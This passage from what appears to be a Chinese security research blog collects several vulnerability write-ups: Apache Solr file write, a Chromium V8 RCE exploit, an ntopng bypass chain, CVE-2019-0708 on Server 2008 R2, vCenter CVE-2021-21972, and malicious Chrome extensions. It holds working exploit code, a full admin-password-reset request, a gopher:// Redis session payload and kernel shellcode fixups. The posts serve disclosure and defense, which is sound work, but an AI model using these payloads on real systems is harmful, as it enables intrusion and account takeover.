    HashMap<String, Object> file = new HashMap<>();
    file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file.put("lastmodified", new Long("123456"));
    file.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
    fileList.add(file);

    HashMap<String, Object> file2 = new HashMap<>();
    file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
    file2.put("lastmodified", new Long("123456"));
    file2.put("name", DIST_FILE);

    ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
    fileList2.add(file2);

    values.add("confFiles", fileList);
    values.add("filelist", fileList2);

    codec.marshal(values, outputStream);
    return outputStream;

其中 DIST_FILE 为攻击者传入的参数,比如传入 ../../../../../../../../tmp/pwn.txt,而 FILE_NAME 是本地要写入的文件的路径。攻击效果如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

Chromium V8 JavaScript引擎远程代码执行漏洞分析讨论

By: frust
15 April 2021 at 07:35

0x01-概述

2021年4月13日,安全研究人员Rajvardhan Agarwal在推特公布了本周第一个远程代码执行(RCE)的0Day漏洞,该漏洞可在当前版本(89.0.4389.114)的谷歌Chrome浏览器上成功触发。Agarwal公布的漏洞,是基于Chromium内核的浏览器中V8 JavaScript引擎的远程代码执行漏洞,同时还发布了该漏洞的PoC

2021年4月14日,360高级攻防实验室安全研究员frust公布了本周第二个Chromium 0day(Issue 1195777)以及Chrome 89.0.4389.114的poc视频验证。该漏洞会影响当前最新版本的Google Chrome 90.0.4430.72,以及Microsoft Edge和其他可能基于Chromium的浏览器。

Chrome浏览器沙盒可以拦截该漏洞。但如果该漏洞与其他漏洞进行组合,就有可能绕过Chrome沙盒。

0x02-漏洞PoC

目前四个漏洞issue 1126249issue 1150649、issue 1196683、issue 1195777的exp均使用同一绕过缓解措施手法(截至文章发布,后两个issue尚未公开),具体细节可参考文章

基本思路是创建一个数组,然后调用shift函数构造length为-1的数组,从而实现相对任意地址读写。issue 1196683中关键利用代码如下所示。

function foo(a) {
......
	if(x==-1) x = 0;
	var arr = new Array(x);//---------------------->构造length为-1数组
	arr.shift();
......
}

issue 1195777中关键利用代码如下所示:

function foo(a) {
    let x = -1;
    if (a) x = 0xFFFFFFFF;
    var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//---------------------->构造length为-1数组
    arr.shift();
    let local_arr = Array(2);
    ......
}

参考issue 1126249issue 1150649中关键poc代码如下所示,其缓解绕过可能使用同一方法。

//1126249
function jit_func(a) {
	.....
    v5568 = Math.sign(v19229) < 0|0|0 ? 0 : v5568;
    let v51206 = new Array(v5568);
    v51206.shift();
    Array.prototype.unshift.call(v51206);
    v51206.shift();
   .....
}

//1150649
function jit_func(a, b) {
  ......
  v56971 = 0xfffffffe/2 + 1 - Math.sign(v921312 -(-0x1)|6328);
  if (b) {
    v56971 = 0;
  }
  v129341 = new Array(Math.sign(0 - Math.sign(v56971)));
  v129341.shift();
  v4951241 = {};
  v129341.shift();
  ......
}

国内知名研究员gengming@dydhh1推特发文将在zer0pwn会议发表议题讲解CVE-2020-1604[0|1]讲过如何绕过缓解机制。本文在此不再赘述。

frust在youtube给出了Chrome89.0.4389.114的poc视频验证;经测试最新版Chrome 90.0.4430.72仍旧存在该漏洞。

0x03-exp关键代码

exp关键代码如下所示。

class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;//进行地址泄露
        }
    }
function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//
        arr[0] = 0x1122;//修改数组长度
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);

通过代码Array(Math.sign(0 - Math.max(0, x, -1)))创建一个length为-1的数组,然后使用LeakArrayBuffer构造内存布局,将相对读写布局成绝对读写。

这里需要说明的是,由于chrome80以上版本启用了地址压缩,地址高4个字节,可以在构造的array后面的固定偏移找到。

先将corrupt_buffer的地址泄露,然后如下计算地址

 (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;

可以计算出高4字节。

同时结合0x02步骤中实现的相对读写和对象泄露,可实现绝对地址读写。@r4j0x00在issue 1196683中构造length为-1数组后,则通过伪造对象实现任意地址读写。

之后,由于WASM内存具有RWX权限,因此可以将shellcode拷贝到WASM所在内存,实现任意代码执行。

具体细节参考exp

该漏洞目前已修复

0x04-小结

严格来说,此次研究人员公开的两个漏洞并非0day,相关漏洞在最新的V8版本中已修复,但在公开时并未merge到最新版chrome中。由于Chrome自身拥有沙箱保护,该漏洞在沙箱内无法被成功利用,一般情况下,仍然需要配合提权或沙箱逃逸漏洞才行达到沙箱外代码执行的目的。但是,其他不少基于v8等组件的app(包括安卓),尤其是未开启沙箱保护的软件,仍具有潜在安全风险。

漏洞修复和应用代码修复之间的窗口期为攻击者提供了可乘之机。Chrome尚且如此,其他依赖v8等组件的APP更不必说,使用1 day甚至 N day即可实现0 day效果。这也为我们敲响警钟,不仅仅是安全研究,作为应用开发者,也应当关注组件漏洞并及时修复,避免攻击者趁虚而入。

我们在此也敦促各大软件厂商、终端用户、监管机构等及时采取更新、防范措施;使用Chrome的用户需及时更新,使用其他Chrome内核浏览器的用户则需要提高安全意识,防范攻击。

参考链接

https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=476971

https://bugs.chromium.org/p/chromium/issues/detail?id=1150649

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=465645

https://bugs.chromium.org/p/chromium/issues/detail?id=1126249

https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html

https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js

ntopng 流量分析工具多个漏洞分析

By: RicterZ
24 March 2021 at 03:37

0x00. TL;DR

ntopng 是一套开源的网络流量监控工具,提供基于 Web 界面的实时网络流量监控。支持跨平台,包括 Windows、Linux 以及 MacOS。ntopng 使用 C++ 语言开发,其绝大部分 Web 逻辑使用 lua 开发。

在针对 ntopng 的源码进行审计的过程中,笔者发现了 ntopng 存在多个漏洞,包括一个权限绕过漏洞、一个 SSRF 漏洞和多个其他安全问题,接着组合利用这些问题成功实现了部分版本的命令执行利用和管理员 Cookie 伪造。

比较有趣的是,利用的过程涉及到 SSDP 协议、gopher scheme 和奇偶数,还有极佳的运气成分。ntopng 已经针对这些漏洞放出补丁,并在 4.2 版本进行修复。涉及漏洞的 CVE 如下:

  • CVE-2021-28073
  • CVE-2021-28074

0x01. 部分权限绕过 (全版本)

ntopng 的 Web 界面由 Lua 开发,对于 HTTP 请求的处理、认证相关的逻辑由后端 C++ 负责,文件为 HTTPserver.cpp。对于一个 HTTP 请求来说,ntopng 的主要处理逻辑代码都在 handle_lua_request 函数中。其 HTTP 处理逻辑流程如下:

  1. 检测是不是某些特殊路径,如果是直接返回相关逻辑结束函数;
  2. 检测是不是白名单路径,如果是则储存在 whitelisted 变量中;
  3. 检测是否是静态资源,通过判断路径最后的扩展名,如果不是则进入认证逻辑,认证不通过结束函数;
  4. 检测是否路径以某些特殊路径开头,如果是则调用 Lua 解释器,逻辑交由 Lua 层;
  5. 以上全部通过则判断为静态文件,函数返回,交由 mongoose 处理静态文件。

针对一个非白名单内的 lua 文件,是无法在通过认证之前到达的,因为无法通过判断是否是静态文件的相关逻辑。同时为了使我们传入的路径进入调用 LuaEngine::handle_script_request 我们传入的路径需要以 /lua/ 或者 /plugins/ 开头,以静态文件扩展名结尾,比如 .css 或者 .js

// HTTPserver.cpp
if(!isStaticResourceUrl(request_info, len)) {
    ...
}

if((strncmp(request_info->uri, "/lua/", 5) == 0)
 || (strcmp(request_info->uri, "/metrics") == 0)
 || (strncmp(request_info->uri, "/plugins/", 9) == 0)
 || (strcmp(request_info->uri, "/") == 0)) {
 ...

进入 if 语句后,ntopng 声明了一个 大小为 255 的字符串数组 来储存用户请求的文件路径。并针对以非 .lua 扩展名结尾的路径后补充了 .lua,接着调用 stat 函数判断此路径是否存在。如果存在则调用 LuaEngine::handle_script_request 来进行处理。

// HTTPserver.cpp
/* Lua Script */
char path[255] = { 0 }, uri[2048];
struct stat buf;
bool found;

...
if(strlen(path) > 4 && strncmp(&path[strlen(path) - 4], ".lua", 4))
    snprintf(&path[strlen(path)], sizeof(path) - strlen(path) - 1, "%s", 
    (char*)".lua");

ntop->fixPath(path);
found = ((stat(path, &buf) == 0) && (S_ISREG(buf.st_mode))) ? true : false;

if(found) {
    ...
    l = new LuaEngine(NULL);
    ...
    l->handle_script_request(conn, request_info, path, &attack_attempt, username,
                             group, csrf, localuser);

ntopng 调用 snprintf 将用户请求的 URI 写入到 path 数组中,而 snprintf 会在字符串结尾添加 \0。由于 path 数组长度有限,即使用户传入超过 255 个字符的路径,也只会写入前 254 个字符,我们可以通过填充 ./ 来构造一个长度超过 255 但是合法的路径,并利用长度限制来截断后面的 .css.lua,即可绕过 ntopng 的认证以访问部分 Lua 文件。

目前有两个问题,一个是为什么只能用 ./ 填充,另外一个是为什么说是“部分 Lua 文件”。

第一个问题,在 thrid-party/mongoose/mongoose.c 中,进行路径处理之前会调用下面的函数去除重复的 /以及 .,导致我们只能用 ./ 来填充。

void remove_double_dots_and_double_slashes(char *s) {
    char *p = s;

    while (*s != '\0') {
        *p++ = *s++;
        if (s[-1] == '/' || s[-1] == '\\') {
            // Skip all following slashes, backslashes and double-dots
            while (s[0] != '\0') {
                if (s[0] == '/' || s[0] == '\\') {
                    s++;
                } else if (s[0] == '.' && s[1] == '.') {
                    s += 2;
                } else {
                    break;
                }
            }
        }
    }
    *p = '\0';
}

说部分 Lua 文件的原因为,由于我们只能利用两个字符 ./ 来进行路径填充,。那么针对前缀长度为偶数的路径,我们只能访问路径长度为偶数的路径,反之亦然。因为一个偶数加一个偶数要想成为偶数必然需要再加一个偶数。也就是说,我们需要:

len("/path/to/ntopng/lua/") + len("./") * padding + len("path/to/file") = 255 - 1

0x02. 全局权限绕过 (版本 4.1.x-4.3.x)

其实大多数 ntopng 的安装路径都是偶数(/usr/share/ntopng/scripts/lua/),那么我们需要一个合适的 gadgets 来使我们执行任意 lua 文件。通过对 lua 文件的审计,我发现 modules/widgets_utils.lua内存在一个合适的 gadgets:

// modules/widgets_utils.lua
function widgets_utils.generate_response(widget, params)
   local ds = datasources_utils.get(widget.ds_hash)
   local dirs = ntop.getDirs()
   package.path = dirs.installdir .. "/scripts/lua/datasources/?.lua;" .. package.path

   -- Remove trailer .lua from the origin
   local origin = ds.origin:gsub("%.lua", "")

   -- io.write("Executing "..origin..".lua\n")
   --tprint(widget)

   -- Call the origin to return
   local response = require(origin)

调用入口在 widgets/widget.lua,很幸运,这个文件名长度为偶数。通过阅读代码逻辑可知,我们需要在edit_widgets.lua 创建一个 widget,而创建 widget 有需要存在一个 datasource,在 edit_datasources.lua 创建。而这两个文件的文件名长度全部为偶数,所以我们可以利用请求这几个文件,从而实现任意文件包含的操作,从而绕过 ntopng 的认证。

0x03. Admin 密码重置利用 (版本 2.x)

利用 0x01 的认证绕过,请求 admin/password_reset.lua 即可更改管理员的密码。

GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.
%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%
2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2
f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2fadmin/password_reset.lua.css?confirm_new_
password=123&new_password=123&old_password=0&username=admin HTTP/1.1
Host: 127.0.0.1:3000
Cookie: user=admin
Connection: close

0x04. 利用主机发现功能伪造 Session (版本 4.1.x-4.3.x)

ntopng 的主机发现功能利用了 SSDP(Simple Service Discovery Protocol)协议去发现内网中的设备。

SSDP 协议进行主机发现的流程如下所示:

+----------------------+
|      SSDP Client     +<--------+
+-----------+----------+         |
            |                    |
        M-SEARCH          HTTP/1.1 200 OK
            v                    |
+-----------+----------+         |
| 239.255.255.250:1900 |         |
+---+--------------+---+         |
    |              |             |
    v              v             |
+---+-----+  +-----+---+         |
| DEVICES |  | DEVICES |         |
+---+-----+  +-----+---+         |
    |              |             |
    +--------------+-------------+

SSDP 协议在 UDP 层传输,协议格式基于 HTTPU(在 UDP 端口上传输 HTTP 协议)。SSDP 客户端向多播地址239.255.255.250 的 1900 端口发送 M-SEARCH 的请求,局域网中加入此多播地址的设备接收到请求后,向客户端回复一个 HTTP/1.1 200 OK,在 HTTP Headers 里有与设备相关的信息。其中存在一个 Location 字段,一般指向设备的描述文件。

// modules/discover_utils.lua
function discover.discover2table(interface_name, recache)
    ...
    local ssdp = interface.discoverHosts(3)
    ...
    ssdp = analyzeSSDP(ssdp)
    ...

local function analyzeSSDP(ssdp)
   local rsp = {}

   for url,host in pairs(ssdp) do
      local hresp = ntop.httpGet(url, "", "", 3 --[[ seconds ]])
      ...

在 discover_utils.lua 中,Lua 会调用 discoverHosts 函数获取 SSDP 发现的设备信息,然后在analyzeSSDP 函数中请求 Location 头所指向的 URL。那么这里显然存在一个 SSRF 漏洞。ntop.httpGet最终调用到的方法为 Utils::httpGetPost,而这个方法又使用了 cURL 进行请求。

// Utils.cpp
bool Utils::httpGetPost(lua_State* vm, char *url, char *username,
            char *password, int timeout,
            bool return_content,
            bool use_cookie_authentication,
            HTTPTranferStats *stats, const char *form_data,
            char *write_fname, bool follow_redirects, int ip_version) {
  CURL *curl;
  FILE *out_f = NULL;
  bool ret = true;

  curl = curl_easy_init();

众所周知,cURL 是支持 gopher:// 协议的。ntopng 使用 Redis 储存 Session 的相关信息,那么利用SSRF 攻击本地的 Redis 即可设置 Session,最终实现认证绕过。

discover.discover2table 的调用入口在 discover.lua,也是一个偶数长度的文件名。于是通过请求此文件触发主机发现功能,同时启动一个 SSDP Server 去回复 ntopng 发出的 M-SEARCH 请求,并将 Location设置为如下 payload:

gopher://127.0.0.1:6379/_SET%20sessions.ntop%20%22admin|...%22%0d%0aQUIT%0d%0a

最终通过设置 Cookie 为 session=ntop 来通过认证。

0x05. 利用主机发现功能实现 RCE (版本 3.8-4.0)

原理同 0x04,利用点在 assistant_test.lua 中,需要设置 ntopng.prefs.telegram_chat_id 以及 ntopng.prefs.telegram_bot_token,利用 SSRF 写入 Redis 即可。

local function send_text_telegram(text) 
  local chat_id, bot_token = ntop.getCache("ntopng.prefs.telegram_chat_id"), 
  ntop.getCache("ntopng.prefs.telegram_bot_token")

    if( string.len(text) >= 4096 ) then 
      text = string.sub( text, 1, 4096 )
    end

    if (bot_token and chat_id) and (bot_token ~= "") and (chat_id ~= "") then 
      os.execute("curl -X POST  https://api.telegram.org/bot"..bot_token..
      "/sendMessage -d chat_id="..chat_id.." -d text=\" " ..text.." \" ")
      return 0

    else
      return 1
    end
end

0x06. 利用主机发现功能实现 RCE (版本 3.2-3.8)

原理同 0x04,利用点在 modules/alert_utils.lua 中,需要在 Redis 里设置合适的 threshold。

local function entity_threshold_crossed(granularity, old_table, new_table, threshold)
   local rc
   local threshold_info = table.clone(threshold)

   if old_table and new_table then -- meaningful checks require both new and old tables
      ..
      -- This is where magic happens: load() evaluates the string
      local what = "val = "..threshold.metric.."(old, new, duration); if(val ".. op .. " " ..
       threshold.edge .. ") then return(true) else return(false) end"

      local f = load(what)
      ...

0x07. 在云主机上进行利用

SSDP 通常是在局域网内进行数据传输的,看似不可能针对公网的 ntopng 进行攻击。但是我们根据 0x04 中所提及到的 SSDP 的运作方式可知,当 ntopng 发送 M-SEARCH 请求后,在 3s 内向其隐式绑定的 UDP 端口发送数据即可使 ntopng 成功触发漏洞。

// modules/discover_utils.lua: local ssdp = interface.discoverHosts(3) <- timeout
if(timeout < 1) timeout = 1;

tv.tv_sec = timeout;
tv.tv_usec = 0;
..

while(select(udp_sock + 1, &fdset, NULL, NULL, &tv) > 0) {
    struct sockaddr_in from = { 0 };
    socklen_t s = sizeof(from);
    char ipbuf[32];
    int len = recvfrom(udp_sock, (char*)msg, sizeof(msg), 0, (sockaddr*)&from, &s);
    ..

针对云主机,如 Google Compute Engine、腾讯云等,其实例的公网 IP 实际上是利用 NAT 来进行与外部网络的通信的。即使绑定在云主机的内网 IP 地址上(如 10.x.x.x),在流量经过 NAT 时,dst IP 也会被替换为云主机实例的内网 IP 地址,也就是说,我们一旦知道其与 SSDP 多播地址 239.255.255.250 通信的 UDP 端口,即使不在同一个局域网内,也可以使之接收到我们的 payload,以触发漏洞。

针对 0x04,我们可以利用 rest/v1/get/flow/active.lua 来获取当前 ntopng 服务器与 239.255.255.250 通信的端口,由于这个路径长度为奇数,所以我们需要利用 0x02 中提及到的任意 lua 文件包含来进行利用。

同时,由于 UDP 通信的过程中此端口是隐式绑定的,且并没有进行来源验证,所以一旦获取到这个端口号,则可以向此端口发送 SSDP 数据包,以混淆真实的 SSDP 回复。需要注意的是,需要在触发主机功能的窗口期内向此端口发送数据,所以整个攻击流程如下:

  1. 触发主机发现功能;
  2. 循环请求 rest/v1/get/flow/active.lua 以获取端口;
  3. 再次触发主机发现功能;
  4. 向目标从第 2 步获取到的 UDP 端口发送 payload;
  5. 尝试利用 Cookie 进行登录以绕过认证。

针对 0x05,我们可以利用 get_flows_data.lua 来获取相关的 UDP 端口,原理不再赘述。

0x07. Conclusion

为什么出问题的文件名长度都是偶数啊.jpg

CVE-2019-0708 漏洞在 Windows Server 2008 R2 上的利用分析

By: yyjb
27 February 2021 at 07:06

分析背景

cve-2019-0708是2019年一个rdp协议漏洞,虽然此漏洞只存在于较低版本的windows系统上,但仍有一部分用户使用较早版本的系统部署服务器(如Win Server 2008等),该漏洞仍有较大隐患。在此漏洞发布补丁之后不久,msf上即出现公开的可利用代码;但msf的利用代码似乎只针对win7,如果想要在Win Server 2008 R2上利用成功的话,则需要事先在目标机上手动设置注册表项。

在我们实际的渗透测试过程中,发现有部分Win Server 2008服务器只更新了永恒之蓝补丁,而没有修复cve-2019-0708。因此,我们尝试是否可以在修补过永恒之蓝的Win Server 2008 R2上实现一个更具有可行性的cve-2019-0708 EXP。

由于该漏洞已有大量的详细分析和利用代码,因此本文对漏洞原理和公开利用不做赘述。

分析过程

我们分析了msf的exp代码,发现公开的exp主要是利用大量Client Name内核对象布局内核池。这主要有两个目的,一是覆盖漏洞触发导致MS_T120Channel对象释放后的内存,构造伪造的Channel对象;二是直接将最终的的shellcode布局到内核池。然后通过触发IcaChannelInputInternal中Channel对象在其0x100偏移处的虚函数指针引用来达到代码执行的目的。如图1:

图1

而这种利用方式并不适用于server2008r2。我们分析了server2008r2的崩溃情况,发现引起崩溃的原因是第一步,即无法使用Client Name对象伪造channel对象,从而布局失败。这是因为在默认设置下,server 2008 r2的
RDPSND/MS_T120 channel对象不能接收客户端Client Name对象的分片数据。根据MSF的说明(见图2),只有发送至RDPSND/MS_T120的分片信息才会被正确处理;win7以上的系统不支持MS_T120,而RDPSND在server 2008 r2上并不是默认开启的因此,我们需要寻找其他可以伪造channel对象的方式。

图2 MSF利用代码中针对EXP的说明

在此期间,我们阅读了几篇详细分析cve-2019-0708的文章(见参考链接),结合之前的调试分析经历,我们发现的确可以利用RDPDR 的channelID(去掉MSF中对rdp_on_core_client_id_confirm函数的target_channel_id加一的操作即可)使Client Name成功填充MS_T120 channel对象,但使用RDPDR 有一个缺陷:RDPDR Client Name对象只能申请有限的次数,基本上只能完成MS_T120对象的伪造占用并触发虚函数任意指针执行,无法完成后续的任意地址shellcode布局。

图3

我们再次研究了Unit 42发布的报告,他们利用之前发布的文章中提到的Refresh Rect PDU对象来完成内核池的大范围布局(如图,注:需要在RDP Connection Sequence之后才能发送这个结构)。虽然这种内存布局方式每次只能控制8个字节,但作者利用了一个十分巧妙的方式,最终在32位系统上完成漏洞利用。

图4

在解释这种巧妙利用之前,我们需要补充此漏洞目前的利用思路:得到一个任意指针执行的机会后,跳转到该指针指向的地址中,之后开始执行代码。但在内核中,我们能够控制的可预测地址只有这8个字节。虽然此时其中一个寄存器的固定偏移上保存有一个可以控制的伪造对象地址,但至少需要一条语句跳转过去。

而文章作者就是利用了在32位系统上地址长度只有4字节的特性,以及一条极短的汇编语句add bl,al; jmp ebx,这两个功能的代码合起来刚好在8字节的代码中完成。之后通过伪造channel对象里面的第二阶段跳转代码再次跳转到最后的shellcode上。(具体参考Unite 42的报告

我们尝试在64位系统上复现这种方法。通过阅读微软对Refresh Rect PDU描述的官方文档以及msf的rdp.rb文件中对rdp协议的详细注释,我们了解到,申请Refresh Rect PDU对象的次数很多,能够满足内核池布局大小的需求,但在之后多次调试分析后发现,这种方法在64位系统上的实现有一些问题:在64位系统上,仅地址长度就达到了8字节。我们曾经考虑了一种更极端的方式,将内核地址低位上的可变的几位复用为跳转语句的一部分,但由于内核池地址本身的大小范围,这里最多控制低位上的7位,即:

0xfffffa801“8c08000“ 7位可控

另外,RDPDR Client Name对象的布局的可控数据位置本身也是固定的(即其中最低的两位也是固定的),这样我们就只有更少的5位来实现第二阶段的shellcode跳转,即:

“8c080”0xfffffa801“8c080”00 5位可控,

由于伪造的channel对象中真正可用于跳转的地址和寄存器之间仍有计算关系,所以这种方法不可行,需要考虑其他的思路。

把利用的条件和思路设置得更宽泛一些,我们想到,如果目前rdp协议暂时不能找到这样合适的内核池布局方式,那其他比较容易获取的也比较通用的协议呢?结合以前分析过的协议类的多种代码执行漏洞,smb中有一个用得比较多的内核池布局方式srvnet对象。

无论是永恒之蓝还是之后的SMBGhost都使用到srvnet对象进行内存布局。最容易的方法可以借助于msf中ms17-010的代码,通过修改代码中对make_smb2_payload_headers_packetmake_smb2_payload_body_packet 大小和数据的控制,能够比较容易地获取一种稳定的内核池布局方式(相关代码参考图5)。

图5

由于单个Client Name Request所申请的大小不足以存放一个完整的shellcode,并且如上面提到的,也不能申请到足够多的RDPDR Client Name来布局内核池空间,所以我们选择将最终的shellcode直接布局到srvnet申请的内核池结构中,而不是将其当作一个跳板,这样也简化了整个漏洞的利用过程。

最后需要说明一下shellcode的调试。ms17-010中的shellcode以及0708中的shellcode都有一部分是根据实际需求定制的,不能直接使用。0708中的shellcode受限于RDPDR Client Name大小的限制,需要把shellcode的内核模块和用户层模块分为两个部分,每部分shellcode头部还带有自动搜索另一部分shellcode的代码。为了方便起见,我们直接使用ms17-010中的shellcode,其中只需要修改一处用来保存进程信息对象结构的固定偏移地址。之后,我们仍需要在shellcode中添加文章中安全跳过IcaChannelInputInternal函数剩余部分可能崩溃的代码(参考Patch Kernel to Avoid Crash 章节),即可使整个利用正常工作。64位中添加的修补代码如下:

mov qword ptr[rbx+108h],0
mov rax,qword ptr[rsp]
add rax,440h
mov qword ptr[rsp],rax
mov r11,qword ptr gs:[188h]
add word ptr [r11+1C4h],1

总结

本篇文章主要是分享我们在分析CVE-2019-0708漏洞利用的过程中整合现有的一些方法和技术去解决具体实际问题的思路。但这种方法也会有一些限制,例如既然使用了smb协议中的一些内核对布局方式,则前提是需要目标开启了smb端口。另外,不同虚拟化平台下的目标内核基址需要预测来达到使exp通用的问题仍没有解决,但由于这个漏洞是2019年的,从到目前为止众多已经修补过的rdp信息泄露漏洞中泄露一个任意内核对象地址,应该不会是太难的一件事。

综上,我们建议用户尽量使用最新的操作系统来保证系统安全性,如果的确出于某些原因要考虑较早版本且不受微软安全更新保护的系统,也尽量将补丁打全,至少可以降低攻击者攻击成功的方法和机会。

参考链接

CVE-2021-21972 vCenter Server 文件写入漏洞分析

By: RicterZ
24 February 2021 at 08:59

0x01. 漏洞简介

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。

vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,从而在服务器上写入 webshell,最终造成远程任意代码执行。

0x02. 影响范围

  • vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
  • vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
  • vmware:vcenter_server 6.5 U3n 之前的 6.5 版本

0x03. 漏洞影响

VMware已评估此问题的严重程度为 严重 程度,CVSSv3 得分为 9.8

0x04. 漏洞分析

vCenter Server 的 vROPS 插件的 API 未经过鉴权,存在一些敏感接口。其中 uploadova 接口存在一个上传 OVA 文件的功能:

    @RequestMapping(
        value = {"/uploadova"},
        method = {RequestMethod.POST}
    )
    public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
        logger.info("Entering uploadOvaFile api");
        int code = uploadFile.isEmpty() ? 400 : 200;
        PrintWriter wr = null;
...
        response.setStatus(code);
        String returnStatus = "SUCCESS";
        if (!uploadFile.isEmpty()) {
            try {
                logger.info("Downloading OVA file has been started");
                logger.info("Size of the file received  : " + uploadFile.getSize());
                InputStream inputStream = uploadFile.getInputStream();
                File dir = new File("/tmp/unicorn_ova_dir");
                if (!dir.exists()) {
                    dir.mkdirs();
                } else {
                    String[] entries = dir.list();
                    String[] var9 = entries;
                    int var10 = entries.length;

                    for(int var11 = 0; var11 < var10; ++var11) {
                        String entry = var9[var11];
                        File currentFile = new File(dir.getPath(), entry);
                        currentFile.delete();
                    }

                    logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
                }

                TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
                TarArchiveEntry entry = in.getNextTarEntry();
                ArrayList result = new ArrayList();

代码逻辑是将 TAR 文件解压后上传到 /tmp/unicorn_ova_dir 目录。注意到如下代码:

                while(entry != null) {
                    if (entry.isDirectory()) {
                        entry = in.getNextTarEntry();
                    } else {
                        File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
                        File parent = curfile.getParentFile();
                        if (!parent.exists()) {
                            parent.mkdirs();

直接将 TAR 的文件名与 /tmp/unicorn_ova_dir 拼接并写入文件。如果文件名内存在 ../ 即可实现目录遍历。

对于 Linux 版本,可以创建一个包含 ../../home/vsphere-ui/.ssh/authorized_keys 的 TAR 文件并上传后利用 SSH 登陆:

$ ssh 192.168.1.34 -lvsphere-ui

VMware vCenter Server 7.0.1.00100

Type: vCenter Server with an embedded Platform Services Controller

vsphere-ui@bogon [ ~ ]$ id
uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)

针对 Windows 版本,可以在目标服务器上写入 JSP webshell 文件,由于服务是 System 权限,所以可以任意文件写。

0x05. 漏洞修复

升级到安全版本:

  • vCenter Server 7.0 版本升级到 7.0.U1c

  • vCenter Server 6.7版本升级到 6.7.U3l

  • vCenter Server 6.5版本升级到 6.5 U3n

临时修复建议

(针对暂时无法升级的服务器)

  1. SSH远连到vCSA(或远程桌面连接到Windows VC)

  2. 备份以下文件:

    • Linux系统文件路径为:/etc/vmware/vsphere-ui/compatibility-matrix.xml (vCSA)

    • Windows文件路径为:C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui (Windows VC)

  3. 使用文本编辑器将文件内容修改为: 640

  4. 使用vmon-cli -r vsphere-ui命令重启vsphere-ui服务

  5. 访问https:///ui/vropspluginui/rest/services/checkmobregister,显示404错误 640--1--1

  6. 在vSphere Client的Solutions->Client Plugins中VMWare vROPS插件显示为incompatible 640--2-

0x06. 参考链接

隐藏在 Chrome 中的窃密者

By: gaoya
23 October 2020 at 09:43

概述

近日,有reddit用户反映,拥有100k+安装的Google Chrome扩展程序 User-Agent Switcher存在恶意点赞facebook/instagram照片的行为。

除User-Agent Switcher以外,还有另外两个扩展程序也被标记为恶意的,并从Chrome商店中下架。

目前已知受影响的扩展程序以及版本:

  • User-Agent Switcher
    • 2.0.0.9
    • 2.0.1.0
  • Nano Defender
    • 15.0.0.206
  • Nano Adblocker
    • 疑为 1.0.0.154

目前,Google已将相关扩展程序从 Web Store 中删除。Firefox插件则不受影响。

影响范围

Chrome Webstore显示的各扩展程序的安装量如下:

  • User-Agent Switcher: 100 000+
  • Nano Defender: 200 000+
  • Nano Adblocker: 100 000+

360安全大脑显示,国内已有多位用户中招。我们尚不清楚有多少人安装了受影响的扩展程序,但从国外社区反馈来看,安装相关插件的用户不在少数,考虑到安装基数,我们认为此次事件影响较为广泛,请广大Chrome用户提高警惕,对相关扩展程序进行排查,以防被恶意组织利用。

国外社区用户研究者报告了User-Agent Switcher随机点赞facebook/Instagram照片的行为,虽然我们目前还没有看到有窃取密码或远程登录的行为,但是考虑到这些插件能够收集浏览器请求头(其中也包括cookies),我们可以合理推测,攻击者是能够利用收集到的信息进行未授权登录的。为了防止更进一步危害的发生,我们在此建议受影响的Chrome用户:

  • 及时移除插件
  • 检查 Facebook/Instagram 账户是否存在来历不明的点赞行为
  • 检查账户是否存在异常登录情况
  • 修改相关账户密码
  • 登出所有浏览器会话

Timeline

  • 8月29日,User-Agent Switcher 更新 2.0.0.9 版本
